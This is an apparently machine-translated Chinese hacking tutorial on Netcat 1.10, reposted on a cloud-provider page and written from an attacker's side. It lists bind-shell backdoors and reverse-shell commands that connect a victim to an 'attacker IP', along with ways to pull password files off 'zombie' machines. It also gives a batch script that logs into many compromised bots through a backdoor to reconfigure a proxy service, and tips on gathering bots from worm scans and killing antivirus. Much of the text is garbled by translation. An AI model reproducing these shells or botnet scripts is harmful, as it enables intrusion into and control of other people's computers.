Use Netcat 1.10

Source: Internet
Author: User

Use Netcat 1.10

 

0. Preface
1. Netcat 1.10 for NT-nc11nt.zip, original English Information
2. Netcat 1.10 for NT help information
3. Common Netcat 1.10 command formats
4. Manage bots and change zombie settings
5. Download the connection
6. Postscript

######################################## ##############################
0. Preface
######################################## ##############################
Recently, my work is relatively idle. I always want to automatically Telnet bots and execute commands. To manage your bots.
Write a program by yourself. The knowledge is not enough, so I only read the help information of NC, although I only read a half understand,
However, with Kingsoft 2002, I still understand something.
I think it is necessary to sum up again. Anyway, it mainly meets my own needs.

######################################## ##############################
1. Netcat 1.10 for NT-nc11nt.zip
######################################## ##############################
Basic Features

* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in Port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every n seconds
* Hex dump of transmitted and stored ed data
* Ability to let another program service established
Connections
* Telnet-options Responder

New for NT

* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
Connection
________________________________________________________________________
Some of the features of Netcat are:

Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in Port-scanning capabilities, with randomizer
Built-in Loose Source-Routing Capability
Can read command line arguments from standard input
Slow-send mode, one line every n seconds
Optional ability to let another program service inbound connections

Some of the potential uses of Netcat:

Script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and Simulation
Firewall Testing
Proxy gatewaying
Network Performance Testing
Address Spoofing tests
Protecting X Servers
1001 other uses you'll likely come up

Netcat + encryption = cryptcat

In contrast to win2000's soft telnet.exeand Microsoft tlntsvr.exe services, we can see it when connecting.
1.1 NC. EXE is a non-standard Telnet client program,
1.2 there is also a putty.exe client program that provides four connection modes
-Raw-Telnet-rlogin-Ssh.

######################################## ##############################
2. Netcat 1.10 for NT help information
######################################## ##############################
C:/Windows/desktop> nc-H
[V1.10 nt]
Connect to somewhere: NC [-options] hostname port [s] [ports]...
Listen for inbound: NC-l-P port [Options] [hostname] [port]
Options:
-D detach from console, background mode (background Mode)
-E prog inbound program to Exec [dangerous!]
-G gateway source-routing hop point [s], up to 8
-G num source-routing pointer: 4, 8, 12 ,...
-H this Cruft (this help information)
-I secs delay interval for lines sent, ports scanned (Delay Time)
-L listen mode, for inbound connects (listener mode, waiting for connection)
-L listen harder, re-listen on socket close (the listener continues after the connection is closed)
-N Numeric-only IP addresses, no DNS (IP digital mode, non-DNS resolution)
-O file Hex dump of traffic (hexadecimal output file, three sections)
-P port local port number (local port)
-R randomize local and remote ports (random local remote port)
-S ADDR local source address (local source address)
-T answer Telnet negotiation
-U udp Mode
-V verbose [Use twice to be more verbose] (-VV for more information)
-W secs timeout for connects and Final Net reads
-Z zero-I/O mode [used for scanning] (scan mode,-vv)
Port numbers can be individual or ranges: M-N [random sive]

######################################## ##############################
3. Common Netcat 1.10 command formats
######################################## ##############################
The following is a reference to the article "sleep and don't wake up in the early morning of March October 15.

3. 1. Port probing:
NC-vv ip Port
The river [192.168.0.198] 19190 (?) Open // display whether open
3. 2. Scanner
NC-VV-W 5 IP port-Port
NC-VV-z ip port-Port
This scan will leave a lot of traces, and the system administrator will be extra careful

3.3. Backdoor
Victim machine: // the victim's machine
NC-l-P port-e cmd.exe // win2000
NC-l-P port-E/bin/sh // UNIX, Linux
Attacker machine: // attacker's machine.
Nc ip-P port // connect to victim_ip and get a shell.

3. 4. Reverse connection
Attacker machine: // It is generally sql2.exe, with remote overflow and webdavx3.exe attacks.
// Or wollf reverse connection.
NC-VV-l-P Port
Victim machine:
NC-e cmd.exe attacker IP-P Port
NC-E/bin/sh attacker IP-P Port

Or:
Attacker machine:
NC-VV-l-P port1/* for input */
NC-VV-l-P prot2/* for display */
Victim machine:
NC attacker_ip port1 | cmd.exe | NC attacker_ip port2
NC attacker_ip port1 |/bin/sh | NC attacker_ip port2

139add ipv-s(nc.exe-l-P 139-d-e cmd.exe-s IP address of the other machine)
This ensures that nc.exe takes precedence over NetBIOS.

3. 5. transfer files:
3.5.1 attacker machine <-- victim machine // drag the password file back from the zombie.
NC-D-l-P port <path/filedest/* attacker machine */can be executed by Shell
NC-VV attacker_ip port> path/file.txt/* victim machine */Ctrl + C to exit
// Execute the command in cmd.exe on the guiinterface (it is better to install FTP when logging on to the terminal). Otherwise, you cannot enter CRL + C.

3.5.2 attacker machine --> victim machine // upload the command file to the bot
NC-VV-l-P port> path/file.txt/* victim machine */Ctrl + C to exit
NC-D victim_ip port <path/filedest/* attacker machine */can be executed by Shell
// This is better. We log on to the terminal and intrude into other bots. You can select shell mode to log on.

Conclusion: ASCII and binfile can be transmitted. program files can be transmitted.

Problem: after connecting to an IP address, after the transfer is complete, the ctrlw.cout nc.exe is sent.
The handler only connects to use pskill.exe again to kill the process. But have you released the handle for opening the transfer file?

3.6 port data packet capture.
NC-VV-W 2-O test.txt www.xfocus.net 80 21-15

<00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 #500 syntax error
<00000068 2C 20 63 6f 6D 6D 61 6e 64 20 22 20 75 6e 72 #, command "" unr
<00000078 65 63 6f 67 6e 69 7A 65 64 2E 0d 0a # ecognized...
<00000084 83 00 00 01 8f #.....

3.7 telnet, automatic batch processing.★★★★★This is what I want to focus on.
NC victim_ip port <path/file. CMD/* victim machine */displays the execution process.
NC-VV victim_ip port <path/file. CMD/* victim machine */displays the execution process.

NC-D victim_ip port <path/file. CMD quiet mode.

_______________ File. CMD ________________________
Password
Cd % WINDIR %
Echo [] = [% WINDIR %]
C:
CD/
MD Test
CD/d % WINDIR %/system32/
Net stop sksockserver
Snak.exe-config port 11111
Net start sksockserver
Exit
___________ File. CMD _ end ___________________

######################################## ##############################
4. Manage bots and change zombie settings
######################################## ##############################
4.1 change the proxy port .snake.exe of the meat chicken farm to 11111 service name "sksockserver"
Use winshell backdoor. Port 1234 password Password
The command format is
Modi. Bat youip.txt

___________ Modi. Bat ____________________________
@ If "% 1" = "" Echo error: No ip.txt & goto end

: Start
@ Echo password> A. cmd
@ Echo S> A. cmd
@ Echo CD/d % WINDIR %/system32/> A. cmd
@ Net stop "sksockserver"> A. cmd
@ Snail ke.exe-config port 11111> A. cmd
@ Net start "sksockserver"> A. cmd
@ Exit> A. cmd

: Auto
@ For/F "EOL =; tokens = 3%" % I in (% 1) Do @(nc.exe-VV-W 1234% I <A. cmd)

: End
___________ Modi. Bat _ end _______________________

4.2

@ Echo off
Color F0
: Start
CLS
C:/NC-VV-W 3-l-P 80> 80.txt
Goto start
After you turn off the firewall and run the batch processing, many U vulnerability detection information will be monitored.
There are three groups-the Nimda virus scans you. In this way, the zombie will be obtained, although the quality is not high.
But it is also a cheap method.

BOT features:
1. Unicode Vulnerability
2. The guest password is empty and the Administrators group is used.
3. Other vulnerabilities

Take it easy. Then, I tried to force the upgrade again, but it was not recommended that tftp.exe be renamed later. Then, use pskillto remove the mmc.exe process, followed by anti-virus. After completing the backdoor, stop the Guest account to deal with the dumb scanner.

######################################## ##############################
5. Download the connection
######################################## ##############################
5.1 http://www.atstake.com/research/tools/network_utilities/
Tool: Netcat 1.10 for Unix
Version: 03.000096
Platforms: * nix

Tool: Netcat 1.1 For Win 95/98/NT/2000
Version: 02.08.98
Platforms: runs on Win 95/98/NT/2000

5.2 http://www.xfocus.net/download.php? Id = 320
Name: cryptcat_nt.zip updated:
Category: network Tool Platform: Win9x/NT/2000 size: 115.8 K submit: maxilaw
Description: The NC for encrypted transmission.

5.3 http://content.443.ch/pub/security/blackhat/Networking/nc/ foreign site
10.03.02 1305 cryptcat.txt
10.03.02 245760 cryptcat_linux2.tar
10.03.02 118533 cryptcat_nt.zip

######################################## ##############################
6. Postscript
######################################## ##############################

You have to go online tomorrow and find a Win2000 Server to log on to the terminal service for testing.
I still broke Win98, there is no way to yo.

Try more and think about it. Maybe you can use it to do more things. For more information, see the one in the script directory in nc110.tgz.
Some scripts to get some ideas.
I don't have the nc110.tgz package. Search for Google.com tomorrow.
Unix commands are still unfamiliar.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.